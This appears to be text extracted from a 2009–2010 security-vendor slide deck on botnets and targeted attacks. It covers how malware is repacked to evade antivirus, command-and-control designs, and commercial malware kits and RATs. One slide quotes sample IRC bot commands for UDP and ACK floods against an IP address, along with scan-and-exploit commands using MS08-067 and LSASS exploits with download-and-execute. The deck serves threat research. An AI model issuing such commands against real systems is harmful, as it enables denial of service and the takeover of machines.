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About

ÁGunter Ollmann
ÅVP of Research, Damballa Inc.

ÁDamballa Inc.
ÅAtlanta based security company focused on 

enterprise detection and mitigation of botnets

ÁBrief Bio:
ÅBeen in IT industry for two decades Built and run international 

pentestteams, R&D groups and consulting practices around the 
world. 

ÅFormerly Chief Security Strategist for IBM, Director of X-Force for ISS, 
Professional Services Director for NGS Software, Head of Attack 
Services EMEA, etc.

Å
Åhttp://blog.damballa.com& http://technicalinfodotnet.blogspot.com/

http://blog.damballa.com/
http://technicalinfodotnet.blogspot.com/
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Targeted?

ÁTargeted in what sense?
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Targeted Attacks?

Á
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Access to the enterprise

Submit a CV

Hand out 
USB drives

Purchase 
from botnet 

masters

2000 2005 2009



Copyright © 2009-2010 Damballa, Inc. All Rights Reserved

Different Ways of 
Looking at the Threat?
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Serial Variants

Code Metamorphism
Random changes to 
the codes structures 
and procedures.

Noise Insertion
Insertion of noise 
instructions and 
whitespace commands.

Compilers
Different compilers (and 
versions) are used to 
generate different code.

Original Malware
Source-code or DIY 
malware creator kit 
generates original code.

Noise Insertion
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Cryptors, Packers and Binders

Original Malware
Source-code or DIY 
malware creator kit 
generates original code.

Binders
Take the malware and 
bind it with(in) other 
innocuous software.

Cryptors
Encrypt the malware, so 
it can only be decrypted 
in real-time on the host.

Packers
Compress the malware 
to make it small, 
compact and random

QA
Automatically run the new malware 
through AV detection tests.
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Avoiding analysis systems
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Virus Testing
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Bot spreading & Support
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Command & Control Evolution

Star Topology
Common clustering

Hierarchical 
Topology
Easy to sell/rent 
branches

Multi -server 
Topology
High resilience to 
shut-down

Random
P2P, etc.
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Botnet Command and Control

Á IRC Command and Control is still common for botnet 
management

ÁCommand language varies upon nature of botnet 
capabilities

Sample bot command 
sequence

Sdbot/Reptile

1: .udp 208.43.216.195 1995 999999999999 ïs

2: .ddos.ack 208.43.216.195 1995 9999999999999 ïs

étypically used for DDoS

Rbots

1: scan.start ms08_067_netapi 25 3 download+exec x.x.x.x

2: .scan 75 1 201.x.x.x 2 1 201.x.x.x

3: .root.start lsass_445 100 3 0 -r ïs

éscan hosts within a Class-A for port 443 and attempt to exploit (Conflcker)
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IRC CnC Host Controls 

SpyBot 

SDbot 

Agobot
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Zeus & Distribution

1

2

3

ZEUS DIY Kit
ÅRRP: $400 (street price ~$50)
ÅBotnet CnCpackage with Web 
management frontend.
ÅVery popular ςmany plug-ins 
developed to extend functionality
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Sophisticated Management
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Sophisticated Management
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Keylogger Octopus

ÁBasic DIY kit

ÅEvolution of free kit 
(incl. source code)

Á$30 for commercial 
version

1
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RAT Spy-Net v1.8
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RAT Aero-Rat v0.3 

2
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RAT Turkojan v4

Á -
Trojan creator

Á V.4 New features
Å Remote Desktop

Å Webcam Streaming

Å Audio Streaming

Å Remote passwords

Å MSN Sniffer

Å Remote Shell

Å Advanced File Manager

Å Online & Offline keylogger

Å Information about remote 
computer

Å Etc..

Á Three versions
Å Gold, Silver & Bronze
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